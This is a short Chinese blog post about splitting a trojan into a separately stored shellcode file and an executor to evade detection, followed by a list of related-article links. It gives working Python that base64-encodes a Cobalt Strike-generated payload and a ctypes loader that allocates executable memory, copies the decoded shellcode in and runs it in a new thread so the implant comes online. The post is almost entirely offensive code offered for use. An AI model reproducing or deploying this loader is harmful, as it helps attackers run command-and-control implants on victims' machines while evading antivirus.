无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
hasty7 分钟前
升级之后仍要加认证:CVE-2026-59971 的补丁边界与工程启示
安全
吴佳浩 Alben9 小时前
Agent 安全红线:越狱防御、间接注入与数据防泄漏实战
人工智能·安全·语言模型·架构·ai编程
拿本唠嗑AI研究10 小时前
智能时代,AI安全治理重塑产业风口:一份政策解读
人工智能·安全·风口·政策·机会
中科三方12 小时前
两家域名注册商资质被ICANN终止:企业域名资产安全再受关注
前端·网络·安全·域名
Flynt14 小时前
两天传了 2000 个包:OpenAI 的 Agent 是怎么把 RubyGems 当硬盘用的
安全·openai·ai编程
ADAI_Bowen15 小时前
建筑 AI 设计图纸归谁所有?ADAI 与渲境 AI 合规安全全解析
人工智能·安全·机器学习
lemon_sjdk17 小时前
WCPoint、WebPageClient和Accessor类源码
java·安全·webkit·javafx
企业解惑小助手17 小时前
如何禁止文字复制?企业文档防复制项目需求拆解方案
运维·数据库·安全
名字还没想好☜17 小时前
Python 用 tempfile 安全创建临时文件:NamedTemporaryFile、TemporaryDirectory 与别自己拼 /tmp 的坑
开发语言·后端·python·安全·编程语言
数据知道18 小时前
国密算法实战——SM2/SM3/SM4 在国产系统中的应用
网络·算法·安全·网络安全·密码学·哈希算法